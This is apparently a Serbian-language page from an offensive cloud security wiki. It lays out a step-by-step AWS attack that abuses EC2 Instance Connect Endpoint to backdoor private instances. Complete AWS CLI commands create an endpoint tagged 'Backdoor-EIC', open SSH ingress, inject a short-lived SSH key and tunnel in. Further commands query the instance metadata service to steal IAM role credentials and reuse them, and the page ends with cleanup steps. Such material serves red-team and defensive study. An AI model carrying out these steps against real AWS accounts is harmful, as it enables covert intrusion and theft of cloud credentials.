AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

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Zloupotrebite EC2 Instance Connect Endpoint (EIC Endpoint) da biste dobili dolazni SSH pristup privatnim EC2 instancama (bez public IP/bastion) tako što ćete:

  • Kreirati EIC Endpoint unutar ciljnog subnet-a
  • Dozvoliti dolazni SSH na ciljnom SG sa EIC Endpoint SG-a
  • Injektovati kratkotrajni javni SSH ključ (važi ~60 sekundi) koristeći ec2-instance-connect:SendSSHPublicKey
  • Otvoriti EIC tunel i pivotirati na instancu da biste ukrali kredencijale instance profila iz IMDS

Impact: prikriven put daljinskog pristupa privatnim EC2 instancama koji zaobilazi bastions i ograničenja public IP-a. Napadač može preuzeti instance profile i delovati u nalogu.

Zahtevi

  • Dozvole za:
  • ec2:CreateInstanceConnectEndpoint, ec2:Describe*, ec2:AuthorizeSecurityGroupIngress
  • ec2-instance-connect:SendSSHPublicKey, ec2-instance-connect:OpenTunnel
  • Ciljna Linux instanca sa SSH serverom i EC2 Instance Connect omogućenim (Amazon Linux 2 ili Ubuntu 20.04+). Podrazumevani korisnici: ec2-user (AL2) ili ubuntu (Ubuntu).

Promenljive

export REGION=us-east-1
export INSTANCE_ID=<i-xxxxxxxxxxxx>
export SUBNET_ID=<subnet-xxxxxxxx>
export VPC_ID=<vpc-xxxxxxxx>
export TARGET_SG_ID=<sg-of-target-instance>
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
export OS_USER=ec2-user

Kreirajte EIC Endpoint

aws ec2 create-instance-connect-endpoint \
--subnet-id "$SUBNET_ID" \
--security-group-ids "$ENDPOINT_SG_ID" \
--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
--region "$REGION" \
--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID

# Wait until ready
while true; do
aws ec2 describe-instance-connect-endpoints \
--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
grep -q 'create-complete' EIC_STATE && break
sleep 5
done

Dozvoli saobraćaj sa EIC Endpoint-a ka ciljnoj instanci

aws ec2 authorize-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

Ubaci privremeni SSH ključ i otvori tunel

# Generate throwaway key
ssh-keygen -t ed25519 -f /tmp/eic -N ''

# Send short-lived SSH pubkey (valid ~60s)
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "$OS_USER" \
--ssh-public-key file:///tmp/eic.pub \
--region "$REGION"

# Open a local tunnel to instance:22 via the EIC Endpoint
aws ec2-instance-connect open-tunnel \
--instance-id "$INSTANCE_ID" \
--instance-connect-endpoint-id "$(cat EIC_ID)" \
--local-port 2222 --remote-port 22 --region "$REGION" &
TUN_PID=$!; sleep 2

# SSH via the tunnel (within the 60s window)
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no

Post-exploitation dokaz (ukrasti instance profile credentials)

# From the shell inside the instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)

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{
"Code": "Success",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "w0G...",
"Token": "IQoJ...",
"Expiration": "2025-10-08T04:09:52Z"
}

Koristite ukradene creds lokalno da potvrdite identitet:

export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity --region "$REGION"
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>

Čišćenje

# Revoke SG ingress on the target
aws ec2 revoke-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

# Delete EIC Endpoint
aws ec2 delete-instance-connect-endpoint \
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"

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